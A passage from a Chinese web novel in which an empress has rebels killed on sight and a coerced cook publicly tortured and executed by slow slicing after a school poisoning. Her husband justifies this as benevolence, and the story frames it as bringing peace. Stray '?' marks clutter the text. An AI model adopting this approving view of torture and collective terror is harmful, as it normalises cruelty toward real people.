华贵的锦缎拂过地面,?唰啦一声,?扬起细微的尘埃与晨露?! 随着拖尾的骤然飘起——赫然露出了里面那金线密织、在清晨曙光下闪烁着如同利剑出鞘般冷冽而坚定光芒的“满地织金”内衬!?? 百凤朝阳的纹路在瞬间迸发出如同朝阳刺破乌云般锐利而充满希望的金芒,那光芒充满了明察秋毫的智慧、捍卫底线的决心以及一种布下天罗地网、誓要揪出元凶的凛然正气,尊贵、辉煌,且带着一种正义必将伸张的、不容置疑的信念感! 这惊鸿一瞥,是她作为统治者与保护者最坚定的宣言。 裙摆落下,将那片冷冽的金光与暗藏的杀机一同掩盖。 慕容嫣与林臻一同去安抚受惊的孩童和家属。 表面上,她宣布此事尚在调查,严令改善伙食并加强安保。 暗地里,林臻麾下最精锐的“夜枭”密探,已如同幽灵般,悄无声息地融入了安州城的街巷之中,将目光投向了那个看似惶恐无助的厨子,以及他可能存在的同伙。 ...... 安州城表面恢复了往日的秩序,启明学堂在经过严密的检查和短暂的停课后,也已复课。 孩子们的中毒症状在郎中的调理下逐渐消失,但空气中弥漫的那股不安与猜疑,却如同春日里驱不散的湿气,沉甸甸地压在心头。 官府明面上的调查陷入了僵局——所有食材来源清晰,烹饪过程看似无懈可击,李三等人的口供也勉强能自圆其说,将事件定性为“意外”或“豆角处理不当”的压力越来越大。 然而,在阳光照不到的阴影处,另一张网正在悄然收紧。 林臻麾下最精锐的秘密力量——“夜枭”,如同其名,在夜幕的掩护下开始了行动。 这些密探精于潜伏、追踪与情报刺探,是林臻掌控辽东、洞察暗流的重要依仗。 得到林臻的密令后,数名最得力的“夜枭”便如同水滴融入大海,悄无声息地盯上了厨子李三,以及所有与他有过来往的可疑人员。 行宫深处,慕容嫣的寝殿内,?气氛看似平静,?却隐含焦灼。 接连几日,明面上的调查没有进展,让她心中的怒火与疑虑愈烧愈旺。 她依旧终日穿着那身神凤降世裙,?仿佛这身衣裙能给她带来洞察一切的智慧与力量。 白日里,她强压烦躁,?处理着都护府的日常政务,?批阅奏章,?接见官员,?但眉宇间总带着一丝挥之不去的阴郁。 ?神凤降世裙在这等待与压抑的日子里,更显其深沉莫测。? 极致玄黑的苏锦底料在白日的光线下,吸吮着阳光,却反射出冷硬的光泽,如同慕容嫣此刻的心情,表面平静,内里却暗流汹涌。 织入的金色棉绒与真金线,不再流淌温暖的辉光,而是如同暗夜中猛兽蛰伏时偶尔睁开的冰冷瞳仁,锐利而充满耐心。? 睡裙之上,那只擎天巨凤的图案,在端坐批阅时,敛翅凝神,仿佛在积蓄力量,等待着一击必杀的时机。 她左手拇指上的墨玉扳指,在她无意识地摩挲奏章边缘时,?泛着幽暗的光。 那长达五丈的苏锦拖尾,?在殿内铺陈得比往日更加凌乱,?有时堆叠在御座下像一座墨金色的小山,?有时又因为她烦躁地起身踱步而在光滑的地板上拖曳出杂乱无章的痕迹。 这种凌乱,?是她内心焦灼与等待的外化,?仿佛她的思绪也如这拖尾一般,?在无数种可能性中缠绕、探寻。 只有在林臻前来禀报或陪伴她用膳时,她紧绷的神经才会稍稍放松。 “夫君,还是没有消息吗?”晚膳时,慕容嫣没什么胃口,?用银箸拨弄着碗里的米饭,?抬起眼,?有些委屈地看向林臻,?凤眸中带着依赖与期盼。 林臻坐在她身旁,?为她夹了一筷子她爱吃的清笋,?柔声道?:“嫣儿莫急,‘夜枭’已经撒出去了,需要时间。李三此人,胆小如鼠,若真有人指使,他必定会露出马脚。只要我们盯得够紧,狐狸尾巴总会露出来的。” 慕容嫣叹了口气,?放下筷子,?身子软软地靠向林臻?:“我知道可是一想到那些孩子受苦,还有人在背后嘲笑朕无能,朕心里就堵得慌。” 她说着,?伸手抓住林臻的手臂,?轻轻摇晃,“夫君,你一定要帮我把那些老鼠揪出来,我要把他们碎尸万段。” 她的语气带着狠厉,但动作却充满了撒娇的意味。林臻心疼地揽住她的肩膀,?低声道?:“放心,为夫定不辱命。快了,就快了。” 第1015章 影七懂唇语 与此同时,在安州城东南角一片鱼龙混杂的棚户区边缘,一场无声的追踪正在上演。 李三在事件发生后,被暂时限制在学堂后院一间杂役房内,行动有人监视,但他每日的饮食仍需由专人从外采购送入。 这便给了“夜枭”可乘之机。 负责盯梢李三的,是“夜枭”中的好手,代号“影七”。 他伪装成一个卖炊饼的小贩,每日推着车在学堂后巷徘徊,目光却如同鹰隼般锁死了那扇通往杂役房的小门。 第四日黄昏,天色将暗未暗。 影七敏锐地注意到,?一个平日里负责给李三送饭的哑巴老仆,?在离开学堂后,?并未直接返回住处,?而是绕进了那片棚户区,?在狭窄肮脏的巷道里七拐八绕。 影七不动声色地收起炊饼摊,?如同鬼魅般悄无声息地跟了上去。 那哑仆显然对地形极为熟悉,脚步匆匆,却不时警惕地回头张望。 影七凭借高超的追踪技巧,?始终与他保持着安全距离,?借助墙角、杂物堆隐匿身形。最终,哑仆钻进了一间低矮破败、散发着霉味的土坯房。 影七没有贸然靠近,?而是迅速攀上附近一棵枝叶茂密的老槐树,?借着暮色,?屏息凝神,?透过窗户的破洞向屋内窥视。 屋内光线昏暗,只点着一盏豆油灯。 除了哑仆,还有两人。 其中一人,身形精悍,眼角带疤,正是“复国义帜”的小头目朴志雄! 另一人则是他的副手金顺哲。 只见哑仆从怀里掏出一张折叠的小纸条,?递给朴志雄。 朴志雄接过,?就着灯光迅速浏览,?脸上露出一丝狰狞的笑意。 他对金顺哲低声道?(影七懂唇语):“李三那废物撑不住了,纸条上说官府查得紧,他快吓疯了,问我们下一步怎么办,还威胁说再逼他就要鱼死网破。” 金顺哲冷哼一声?:“没用的东西!告诉他,让他稳住,就说一切都是意外。风声过去,自然会把他家人还给他,还有重赏。若敢乱说,让他全家死无葬身之地!” 朴志雄点点头,?拿出纸笔,?快速写了几行字,?交给哑仆,?又塞给他几个铜钱,?挥手让他赶紧离开。 影七心中狂喜?!? 终于抓到确凿证据了! 他耐心等哑仆离开后,?又观察了片刻,?确认朴志雄二人暂时不会离开,?这才如同狸猫般滑下树,?迅速消失在夜色中,?赶回行宫密报。 时辰已近子夜,慕容嫣因心中有事,?并未早早安歇,?而是?坐在林臻的书房内,?看似在翻阅闲书,?实则心神不宁。 那身神凤降世裙在夜晚的烛光下,?墨色更沉,?金色更暗,?仿佛与她一同等待着最终的消息。 林臻坐在书案后,?看似平静,?但不时望向窗外的动作,?也泄露了他内心的焦急。 突然,书房外传来三声极有节奏的叩门声。 林臻精神一振?:“进来!” 影七闪身而入,?单膝跪地,?压低声音,?将所见所闻一五一十禀报,?尤其强调了朴志雄的相貌特征和对话内容。 慕容嫣手中的书卷?“啪”一声落在桌上。 她猛地站起身,?凤眸中瞬间迸发出骇人的寒光与积压数日的怒火?! 那长达五丈的拖尾因她骤然起身,?在身后猛地拂动,?发出“唰”的声响?! “好!好一个‘复国义帜’!好一个朴志雄!”慕容嫣的声音冰冷刺骨,?每一个字都仿佛带着冰碴,“竟敢对孩童下手!竟敢如此挑衅于朕!真是找死!” 她转向林臻,?眼中的杀意毫不掩饰?:“夫君!证据确凿!可以收网了!” 林臻也站起身,?神色肃杀:“嫣儿放心!我即刻调派‘夜枭’与禁卫精锐,包围那处据点,务必生擒朴志雄,将这股逆贼连根拔起!” “不!”慕容嫣斩钉截铁地打断他,?红唇勾起一抹残忍的弧度, “不必生擒!传朕旨意:包围之后,格杀勿论!尤其是那个朴志雄,朕要他的首级!至于那个吃里扒外的李三,” 她顿了顿,?眼中闪过一丝厌恶,“一并处决,家人流放三千里!朕要让所有人知道,敢动朕的子民,尤其是孩子,是什么下场!” 她的命令,充满了铁血与无情。 此刻的她,不再是那个会对林臻撒娇的小女人,而是执掌生杀大权的铁血女帝。 林臻对此并无异议,?他知道,?对这等毫无底线的敌人,?唯有雷霆手段才能震慑宵小。 他点头道:“是!我这就去安排!” 慕容嫣走到他面前,?伸手替他整理了一下衣领,?眼中的杀意稍稍收敛,?露出一丝疲惫?:“夫君小心些,我等你回来。” 林臻握住她的手,?在她额头印下一吻?:“放心,区区蟊贼,不足挂齿。嫣儿你先歇息,明日一早,必有捷报。” 说完,林臻转身,?大步流星地走出书房,?身影迅速融入夜色。 慕容嫣独自站在书房中,?望着窗外漆黑的夜空,?胸中的怒火与杀意仍在翻涌。 她知道,?这场暗中的较量,?即将以最血腥的方式落下帷幕。 而她的神凤降世裙,?在烛光下静静流淌着墨金色的光华,?仿佛已为即将到来的鲜血,?做好了准备。 就在她转身,?准备离开书房回寝殿等待的刹那—— 动作带着积压怒火终于找到宣泄口的决绝! 那在书房地面上铺陈凌乱、如同她纷乱心绪的五丈墨金色拖尾被猛地带动! 华贵的锦缎拂过地面,?唰啦一声,?如同战旗掠空?! 随着拖尾的骤然飘起——赫然露出了里面那金线密织、在冰冷烛光下闪烁着如同嗜血修罗般残酷而决绝光芒的“满地织金”内衬!?? 百凤朝阳的纹路在瞬间迸发出如同地狱业火般灼热而冰冷的金芒,那光芒充满了毁灭一切的愤怒、对敌人毫不留情的制裁以及一种捍卫自身权威与子民安全的、近乎冷酷的绝对意志,尊贵、辉煌,且带着一种即将用鲜血清洗污秽的、不容置疑的审判意味! 这惊鸿一瞥,是她作为征服者与复仇者的最终宣告。 裙摆落下,将那片血腥的金光掩盖。 第1016章 割掉他的舌头 子时三刻。 安州城万籁俱寂,绝大多数百姓已沉入梦乡,唯有打更人悠长的梆子声,在空旷的街道上孤独回荡。 然而,在城东南那片鱼龙混杂、污水横流的棚户区边缘,杀机正如同潜伏的毒蛇,悄然亮出了獠牙。 林臻亲自坐镇,?调遣了最精锐的“夜枭”密探以及一队身着玄甲、手持劲弩的禁卫军,?如同鬼魅般将影七所报的那间低矮土坯房,?围了个水泄不通。 他本人则隐身于不远处一座废弃阁楼的阴影中,?目光冷冽,?注视着下方那点微弱的灯火。 慕容嫣“格杀勿论”的旨意,他铭记于心。 土坯房内,朴志雄与金顺哲尚不知大祸临头。 两人正就着劣酒,低声商议着下一步该如何利用李三这个棋子,继续给慕容嫣的“同化”大业制造麻烦。 朴志雄脸上带着一丝得意,认为自己的计策天衣无缝,既能打击圣徽威望,又能激起高句丽遗民的反抗情绪。 “哼,慕容嫣那妖女,以为屠城立威、施点小恩小惠就能收买人心?做梦!只要我们在暗处不断给她使绊子,让她这安东都护府永无宁日!” 朴志雄狠狠灌了一口酒,眼中闪烁着狂热与仇恨。 金顺哲附和道:“头领英明!尤其是对这学堂下手,最能戳中她的痛处!等风声稍过,我们再……” 他的话戛然而止。 “咻咻咻——!” 数支弩箭毫无征兆地穿透薄薄的窗纸,?带着凄厉的破空声,?精准地射向屋内两人?! 与此同时,?土坯房那扇破旧的木门被一脚踹得粉碎?!数道黑影如同猎豹般扑入屋内?! “有埋伏!”朴志雄毕竟是行伍出身,?反应极快,?怒吼一声,?猛地掀翻桌子挡在身前,?同时抽出腰间短刀。 金顺哲则慢了一拍,?惨叫一声,?已被一支弩箭射穿大腿,?踉跄倒地。 屋内瞬间陷入混战。 朴志雄悍勇异常,?凭借桌椅作为掩体,?挥舞短刀,?竟暂时逼退了率先冲入的“夜枭”?。 但屋外更多的禁军已蜂拥而入,?弩箭如同雨点般射来?! “朴志雄!尔等逆贼,还不束手就擒!”一名“夜枭”小头目厉声喝道。 “束手就擒?呸!老子死也要拉几个垫背的!”朴志雄目眦欲裂,?心知今日绝无幸理,?反而激起了凶性,?疯狂反扑。 然而,?绝对的人数和武力优势下,?个人的勇武终究徒劳。 不过几个呼吸间,?金顺哲率先被乱刀砍死。 朴志雄身中数箭,?浑身浴血,?犹自怒吼搏杀,?但很快被数把长枪刺穿身体,?死死钉在墙上?! 战斗开始得突然,结束得也迅速。 从第一支弩箭射出,到屋内再无站立的敌人,不过短短数十息时间。 浓烈的血腥味在狭小的土坯房内弥漫开来。 一名“夜枭”上前探了探朴志雄的鼻息,回禀道:“亲王殿下,逆首朴志雄已毙命!” 阴影中的林臻缓缓走出,?面色冷峻。 他看了一眼朴志雄那狰狞不甘的死状,?又瞥了一眼金顺哲的尸体,?淡淡道?:“割下朴志雄的首级,仔细搜查此地,所有文书信件,片纸不留。其余尸首,就地处理干净。” “是!” ??翌日,拂晓 天刚蒙蒙亮,一骑快马便冲入行宫,将连夜清剿的结果禀报给了彻夜未眠的慕容嫣。 慕容嫣闻报,?脸上没有丝毫波澜,?只有冰冷的杀意得到宣泄后的平静。 她一夜未换衣衫,?依旧是那身神凤降世裙。 她对镜,?让宫女为她重新梳理了发髻,?戴上了那顶最为庄重的九凤金冠。 “传朕旨意,”她的声音平静无波,?却带着不容置疑的威严,“辰时三刻,安州城中心市曹,公示逆贼朴志雄首级,并将涉案厨子李三,以戕害孩童、勾结逆匪之罪,凌迟处死。着都护府所有官员、军中校尉以上将领、各学堂博士,以及安州城内所有里正乡老,前往观刑。全城公告,以儆效尤!” “是!陛下!” ??辰时三刻,安州城。 平日熙熙攘攘的市曹,今日气氛肃杀。 高台之上,竖起了两根行刑柱。 一根柱子上,悬挂着朴志雄那经过简单处理、仍面目狰狞的首级。 另一根柱子下,五花大绑、面如死灰的厨子李三,被剥去上衣,跪在地上,浑身抖如筛糠。 台下,黑压压地站满了被勒令前来观刑的官员、将领、士绅以及被驱赶到外围、窃窃私语的百姓。 空气中弥漫着恐惧与压抑。 辰时三刻整,鼓声三通。 人群一阵骚动,纷纷让开一条通道。 慕容嫣来了。 她并未乘坐銮驾,?而是与林臻并肩,?步行而来。 她今日?依旧是那身神凤降世裙,?那迤逦的墨金色拖尾,?甚至从礼服下摆边缘隐约可见。 ?那件黑金貂皮披肩,?并未披戴,?由宫女捧着紧随其后。 她头戴九凤金冠,?珠帘垂面,?看不清表情,?但那周身散发出的凛冽杀气与帝王威仪,?足以让所有人窒息。 林臻身着亲王蟒袍,?落后她半步,?面色沉静,?目光锐利地扫视全场,?如同最忠诚的守护神。 ?神凤降世裙在这血腥的刑场背景下,呈现出一种令人心悸的华美与残酷。 ?极致玄黑的苏锦底料在清晨惨淡的天光下,仿佛能吸收所有的光线与生机,织入的金色棉绒与真金线则反射着冰冷如刀锋的辉光。 ?睡裙之上,那只擎天巨凤的图案,在此刻,不再是祥瑞,而是化作了执掌生死的审判之凤,充满了毁灭与重生的绝对权威。 那长达五丈的苏锦拖尾,?在铺着黄土的刑场高台上,?迤逦铺开。 ?华贵的锦缎无情地碾过地面可能存在的污秽与尘土,?形成一种践踏一切反抗、宣告最终秩序的、充满压迫感的凌乱。这种凌乱,?是权力巅峰的肆意,?是胜利者对失败者最彻底的蔑视。 慕容嫣在高台中央的凤椅上坐下,?林臻肃立其侧。 她没有立刻说话,?目光透过珠帘,?缓缓扫过台下那些或恐惧、或敬畏、或麻木的面孔。 最后,?她的目光落在了跪在地上、屎尿齐流的李三身上。 刑官上前,高声宣读李三的罪状:“厨役李三,受皇恩而不知报,勾结逆匪朴志雄,戕害入学稚童,罪大恶极,依律凌迟处死!逆匪朴志雄,枭首示众!以儆效尤!” 宣读完毕,刽子手拎着雪亮的刀具,?走上前。 “陛下饶命啊!陛下饶命啊!是朴志雄逼我的!他抓了我老婆孩子啊——!”李三发出杀猪般的哀嚎,拼命磕头,额头瞬间血肉模糊。 慕容嫣面无表情,?只是微微抬了抬下巴。 刽子手会意,?手起刀落?!? 并非直接行刑,?而是先割下了李三的舌头?!? 凄厉的惨嚎瞬间变成了模糊的呜咽?! 血腥的凌迟开始了。 第1017章 非常时期,用非常之法 惨烈的场景让台下许多官员都面色发白,不敢直视。 一些百姓更是吓得低下头,或忍不住呕吐起来。 慕容嫣却端坐不动,?珠帘后的目光,?冰冷地注视着行刑的全过程。 她要用这最残酷的刑罚,?告诉所有人,?挑战她的底线,?伤害她想要保护的子民,?尤其是孩子,?会是什么下场?! 整个行刑过程持续了将近一个时辰。 当李三最终断气时,高台上下已是一片死寂,唯有浓得化不开的血腥味在空中飘荡。 慕容嫣这时才缓缓站起身。她走到高台边缘,?目光再次扫过全场。 珠帘碰撞,发出清脆的声响,在这死寂中格外刺耳。 她的声音通过内力,?清晰地传入了每个人的耳中,?不高,?却字字千钧?: “今日之事,尔等皆已目睹。” “朕,慕容嫣,统御圣徽,恩威并施。顺朕者,可安居乐业,子女可入学读书,前途无量。逆朕者,这便是下场!” “学堂孩童,乃国家未来之根基。敢动孩童者,无论何人,无论何故,朕必诛其九族,挫骨扬灰!” “高句丽已成过往,安东都护府乃朕之疆土!尔等既为朕之子民,当守朕之法度,习朕之文字,共创太平盛世!若再有冥顽不灵、心怀异志者,朴志雄、李三,便是前车之鉴!” 她的声音不带一丝感情,?只有冰冷的杀意与不容置疑的权威。 说完,她不再停留,?转身,?与林臻一同走下高台。 就在她转身,?墨金色拖尾拂过满是血污的高台边缘的刹那—— 动作带着行刑已毕、权威已立的决绝! 那在刑场黄土与血污中拖曳而过的五丈墨金色拖尾被猛地带起! 华贵的锦缎边缘,?不可避免地沾染上了几滴暗红的血渍,?唰啦一声,?在空中划出一道惊心动魄的弧线! 随着拖尾的骤然飘起——赫然露出了里面那金线密织、在惨淡天光下仿佛被鲜血浸染过般闪烁着妖异而残酷金红色光芒的“满地织金”内衬!?? 百凤朝阳的纹路在瞬间迸发出如同地狱熔岩般灼热而死亡的辉光。 那光芒充满了以杀止杀的冷酷、以暴制暴的决绝以及一种用最极端手段维护秩序与未来的、近乎偏执的坚定意志,尊贵、辉煌,且带着一种用恐怖浇筑和平的、令人胆寒的平静! 这惊鸿一瞥,是她铁血统治最直接的视觉冲击。 裙摆落下,将那片血腥的金光与恐怖的威压一同掩盖。 慕容嫣与林臻并肩离开了刑场,?将死寂与恐惧,?留在了身后。 圣徽三年,四月末。 安州城市曹那场血腥的公开处决,如同一声惊雷,震动了整个安东都护府。 朴志雄枭首示众,李三凌迟处死,其血腥残酷的程度,远超慕容嫣之前屠城的传闻。 然而,与单纯泄愤式的屠杀不同,这次刑场立威,目标明确,理由“充分”——戕害孩童,触碰了慕容嫣划下的绝对红线。 其带来的震慑效果,是前所未有的。 一时间,都护府境内,所有潜在的、明面的反抗势力都噤若寒蝉。 原本还有些阳奉阴违的旧官吏,变得无比恭顺;民间那些对“同文”政策心怀抵触的暗流,也暂时平息了下去。 学堂的伙食得到了最严格的保障,再无一丝克扣。 孩子们的脸上重新有了红润,书声也愈发响亮。 表面上看,慕容嫣的铁腕手段,似乎真的在短时间内,强行将这片新附之地,纳入了她所设定的轨道。 一种诡异的、建立在恐惧之上的“秩序”与“平静”降临了。 处决事件过去数日后,慕容嫣的生活似乎恢复了往日的节奏。 夜色深沉,寝殿内烛火通明,却只点了几盏,光线柔和。 她?只穿着那身贴身的神凤降世裙。? 沐浴后的长发披散在肩头,?带着湿润的水汽和淡淡的馨香。 ?那件黑金貂皮披肩随意地搭在屏风上。 她慵懒地斜倚在窗边的软榻上,?手中拿着一卷书,?却并未细看,?目光有些失神地望着窗外沉沉的夜色。 ?神凤降世裙在夜晚私密的空间里,洗去了白日的杀伐之气,更显其本质的柔软与华美。 ?极致玄黑的苏锦底料在柔和的烛光下,呈现出天鹅绒般的质感,吸吮着温暖的光线,织入的金色棉绒与真金线则流淌着蜂蜜般温润内敛的辉光。 睡裙之上,那只擎天巨凤的图案,在休憩时彻底敛去所有锋芒,宛如栖息在爱巢中的凤凰,姿态安详,却依旧带着不容侵犯的雍容。 ?宽大的喇叭袖一只软软垂在榻边,袖口的金线流苏拂过地毯,她左手拇指上的墨玉扳指在偶尔翻动书页时,泛着莹润的光泽。 那长达五丈的苏锦拖尾,?在榻上铺陈得极其肆意——一部分被她蜷起的腿压着,?一部分迤逦地垂落榻沿,?更有一大部分,?如同墨金色的河流般,?在榻下的地毯上蜿蜒流淌,?甚至有几处,?与榻边矮几的腿脚缠绕在一起,?形成一种全然放松、卸下所有防备后最自然、最私密的凌乱。 这种凌乱,?是她内心疲惫与寻求安宁的外化。 殿门轻响,林臻处理完军务,?走了进来。 他也已换上常服,?脸上带着一丝倦色,?但看到榻上的慕容嫣时,?眼神立刻柔和下来。 “嫣儿,这么晚了,怎么还没睡?”他走到榻边,?自然地坐下,?伸手轻轻拂开她颊边的一缕湿发。 慕容嫣回过神,?将书卷放下,?很自然地靠进他怀里,?将脸埋在他胸前,?深吸了一口他身上清冽好闻的气息,?闷闷地说?:“夫君,你回来了,我睡不着” 林臻揽住她,?感觉到她身体的放松,?也感觉到她心底那一丝不易察觉的空茫。 他低声道:“还在想市曹那件事?” 慕容嫣在他怀里轻轻点了点头,?声音有些飘忽?:“嗯,夫君你说我是不是太狠了?那场面连一些老将都白了脸。” 林臻沉默片刻,?手臂收紧了些:“非常之时,需用非常之法。朴志雄之辈,毫无底线,若不用雷霆手段震慑,日后类似之事只会层出不穷,更多无辜孩童会受害。嫣儿你此举,看似酷烈,实则是为了更长久的安宁。是为大仁,而非小慈。” 他的话语,一如既往地坚定支持着她。 慕容嫣心中微微一暖,?抬起头,?凤眸中带着一丝依赖和寻求肯定的光芒?:“真的吗?夫君你不会觉得我是个残忍嗜杀的人吧?” 林臻低头,?在她光洁的额头上印下温柔一吻,?柔声道?:“我的嫣儿,是这天下最善良、也最坚强的女子。对敌人残忍,正是对子民最大的仁慈。我永远站在你这边。” 慕容嫣听了,?脸上终于露出了些许真切的笑容,?像只被顺毛的猫儿,?在他怀里蹭了蹭?:“夫君最好了,有你在,我什么都不怕。” 她顿了顿,?又轻声道:“只是经过此事,我总觉得这表面的平静之下,恐怕还有暗流,高句丽遗民真的会就此甘心吗?” 林臻目光微凝?:“嫣儿所虑极是。朴志雄虽死,但其背后‘复国义帜’组织盘根错节,未必没有其他头目。近日‘夜枭’密报,确实有一些零散消息显示,部分残余势力有向偏远山区或沿海岛屿转移的迹象。他们可能在积蓄力量,等待时机。” 第1018章 这个仇,一定要报 慕容嫣秀眉微蹙?:“看来肃清余孽,非一日之功。夫君,还需加大侦查力度,尤其是对沿海和与倭国、新罗接壤的地区,要严防他们与外敌勾结。” “放心,我已增派人手。”林臻点头,“此外,倭国使团那边,近日似乎也安静得有些异常。那位樱花内亲王,自那日之后,深居简出,很少露面。” 提到倭国公主,慕容嫣眼中闪过一丝复杂的神色,?有轻蔑,?也有一丝不易察觉的玩味?? 她轻哼一声?:“那个小公主怕是吓坏了吧,也好,让她见识见识天朝手段,省得整天胡思乱想。” 她说着,?又打了个小小的哈欠,?眼角渗出些许生理性的泪水,“夫君,我困了。” “那就歇息吧。”林臻柔声道,?作势要抱她起身。 “嗯。”慕容嫣慵懒地应着,?双臂环住他的脖颈。 就在林臻将她打横抱起,?转身走向里间寝榻的刹那—— 慕容嫣因姿势变动,?无意识地蜷缩了一下身体。 那在榻上地毯上铺散凌乱、如同她此刻心绪般缠绕的五丈墨金色拖尾被带动,?唰啦一声,?如同流水般滑过地毯?! 随着拖尾的悄然飘起——赫然露出了里面那金线密织、在寝殿温暖烛光下闪烁着如同月光抚慰过般柔和而坚定光芒的“满地织金”内衬!?? 百凤朝阳的纹路在瞬间闪现出如同深海夜明珠般温润而持重的金芒,那光芒充满了对过往决断的反思、对未来的隐忧以及一种在爱人怀抱中寻得的安宁与力量,尊贵、辉煌,且带着一种深知前路艰难却依然选择前行的、内敛的勇气! 这惊鸿一瞥,是她复杂内心世界的真实映射。 裙摆落下,将那片温润的金光与满室的温情一同掩盖。 林臻将她轻轻放在床榻上,?为她盖好锦被。 慕容嫣很快便沉沉睡去,?眉宇间还带着一丝疲惫。 林臻坐在床边,?静静地看着她的睡颜,?眼中充满了怜惜与坚定。 他知道,表面的平静之下,暗流依旧汹涌。 而他,将永远是守护在她身前最坚固的盾牌。 与此同时,在安州城以西数十里外的一处荒废山神庙中,几个黑影在夜色中悄然汇聚。 他们正是“复国义帜”在朴志雄死后,残存的几个小头目。 气氛压抑而悲愤。 “朴大哥死得好惨!这个仇,一定要报!”一个年轻汉子红着眼睛低吼道。 “报仇?谈何容易!”一个年纪稍长的老者叹息道,“慕容嫣如今戒备森严,铁腕无情,我们这点人手,无异于以卵击石。” “难道就这么算了?眼睁睁看着我们的孩子去学他们的语言,忘掉自己的祖宗?”另一人不甘道。 一阵沉默后,一个一直沉默寡言、面容阴鸷的中年人开口道:“硬拼不行,但我们可以换个方式。慕容嫣重视学堂,我们就从学堂下手。不过,不能再像朴大哥那样直接下毒,目标太大。我们可以散播谣言。” “谣言?” “对,”阴鸷中年人眼中闪着寒光,“就说圣徽的学堂风水不好,专克高句丽孩童;或者说他们的饭菜里加了慢性的迷魂药,让孩子变得痴傻听话,忘记父母总之,要让那些愚昧的百姓自己不敢再把孩子送进学堂!只要学堂办不下去,慕容嫣的同化之计,自然破产!” 众人闻言,眼中重新燃起了希望的火苗。 ...... 圣徽三年,五月初。 安州城在经历了一场血腥的雷霆震慑后,陷入了一种诡异的平静。 学堂的饭菜变得前所未有的丰盛可口,官吏的办事效率奇高,市井街坊也鲜有争端。 然而,在这片看似驯服的平静水面之下,一股污浊的暗流,正沿着最愚昧、最敏感的神经末梢,悄然蔓延。 起初,只是些捕风捉影的闲言碎语,在菜市场、井台边、茶余饭后悄然传播。 “听说了吗?东街老王家的小子,自打去了那启明学堂,回来就总说梦话,喊些听不懂的词儿,眼神都直了!” “可不是!我家隔壁那闺女也是,以前多伶俐的孩子,现在问她爹叫啥,有时候都愣神!该不会是中了邪吧?” “唉,我听说啊,那学堂的地基不干净,早年是高句丽乱葬岗,专吸小孩子的魂儿呢!” “还有更邪乎的!有人说看见学堂半夜冒黑烟,还有娃娃哭声说是圣徽人给的饭里,加了让人变傻的符水!” 这些荒诞不经的流言,如同瘟疫般,在那些对慕容嫣铁腕统治心怀恐惧、又对陌生文化本能排斥的底层百姓中快速滋生。 尤其是一些家中有孩童年岁稍长、未曾入学,或是刚入学不久就赶上中毒事件的父母,更是人心惶惶。 尽管孩子身体已然康复,饭食也无可挑剔,但那种对未知“邪术”的恐惧,却比看得见的刀剑更令人不安。 送孩子上学的人,明显少了些许,学堂门口,多了些探头探脑、神色犹疑的家长。 窗外天色阴沉,闷热无风,预示着夏日第一场暴雨将至。 慕容嫣端坐于案后,?正在听取新任安东都护府长史关于春耕税赋征收的奏报。 她今日穿着依旧是那身神凤降世裙。 ?因天气闷热,?那件黑金貂皮披肩并未上身,?搭在一旁的鎏金凤首衣架上。 她眉头微蹙,?并非因为税赋,?而是刚刚另一份由“夜枭”密报的、关于市井流言的简报,?让她心头蒙上了一层阴霾。 ?神凤降世裙在这闷热而压抑的午后,仿佛也感受到了主人不悦的心绪。? 极致玄黑的苏锦底料在阴天的光线下,呈现出一种吸饱了湿气的沉滞墨色,织入的金色棉绒与真金线也失去了往日的跳跃光辉,流淌着沉闷而压抑的暗金。 ?睡裙之上,那只擎天巨凤的图案,在凝神倾听时,敛翅垂眸,仿佛在积蓄力量,准备应对来自阴暗角落的龌龊攻击。 她左手拇指上的墨玉扳指,在她无意识敲击案面时,?发出沉闷的嗒嗒声。 那长达五丈的苏锦拖尾,?在光滑微凉的金砖地面上,?铺散得有些烦乱——并非往日慵懒的凌乱,?而是一种心绪不宁导致的、带着躁意的蜿蜒,?甚至有几处,?被她偶尔变换的坐姿不经意地踢踏着,?起了褶皱。 这种凌乱,?是她敏锐地察觉到水面下暗礁的警觉,?与对愚昧手段的不屑与恼怒交织的体现。 长史奏报完毕,躬身退下。殿内只剩下慕容嫣与侍立一旁的林臻。 第1019章 老鼠不来,放臭虫 慕容嫣将那份密报轻轻推至案前,?抬起凤眸,?看向林臻,?嘴角勾起一抹冰冷的弧度?:“夫君你看老鼠们,不敢露头,?开始放臭虫出来恶心人了。” 林臻早已看过密报,?神色凝重?:“此计虽卑劣,却切中要害。百姓愚昧,易受蛊惑。尤其是关乎子女,宁可信其有。若放任流言蔓延,恐损及学堂声誉,前功尽弃。” “哼!”慕容嫣冷哼一声,?眼中闪过一丝厉色,“装神弄鬼,散播谣言,真是上不得台面的东西!以为这样就能阻挠朕的同文大业?痴心妄想!” 她站起身,?在殿内踱步,?那墨金色的拖尾在身后烦躁地摆动?:“他们想用愚昧对抗教化朕便让他们知道什么叫王道荡荡,什么叫邪不胜正!” 林臻看着她,?沉声道?:“嫣儿打算如何应对?抓几个散布谣言者严惩?还是” “不。”慕容嫣停下脚步,?转过身,?凤眸中闪烁着睿智的光芒,“严惩几个愚民,于事无补,反会坐实他们‘朝廷残暴’的污蔑。他们不是散播谣言吗?朕便用更大的‘声音’,把这谣言压下去!还要让这‘声音’,变成朕的‘祥瑞’!” 她走回案前,?提笔蘸墨,?一边思索一边说道:“传朕旨意:第一,令都护府即刻张榜公告,延请安州境内所有有名望的僧、道、巫祝,三日后于启明学堂,举办一场‘安土祈福’大典,朕与亲王将亲临主持,为学堂净地,为学子祈福!费用由府库支取,场面要给朕办得隆重!” 林臻眼中闪过一丝了然?:“妙计!以正驱邪,用百姓信服的方式,破其谣言。那第二呢?” 慕容嫣笔下不停,?继续道?:“第二,令学堂即日起,设立‘家长探望日’,每月逢五、逢十,允许父母入学堂观摩授课,与博士交流,亲眼看看他们的孩子是否‘中了邪’!再令博士们,多教些强身健体的五禽戏、八段锦,让孩子们看起来更精神!” “第三,”她放下笔,?目光锐利,“令‘夜枭’继续严密侦查,重点排查近日与僧道巫祝接触频繁、或突然活跃的生面孔。朕倒要看看,是谁在背后操纵这些流言!一旦抓住证据,不必请示,就地格杀!” 她的应对,层层递进,既有针对民心的怀柔与引导,又有针对幕后黑手的铁血追杀,可谓刚柔并济。 林臻颔首?:“如此安排,甚妥。既能安抚人心,破除谣言,又能引蛇出洞。我即刻去安排。” “嗯”慕容嫣点点头,?脸上的戾气稍稍消散,?取而代之的是一丝疲惫。她走到林臻面前,?伸手拉住他的衣袖,?声音软了下来?:“夫君又要辛苦你了。这些宵小之辈真是烦人。像苍蝇一样嗡嗡叫、” 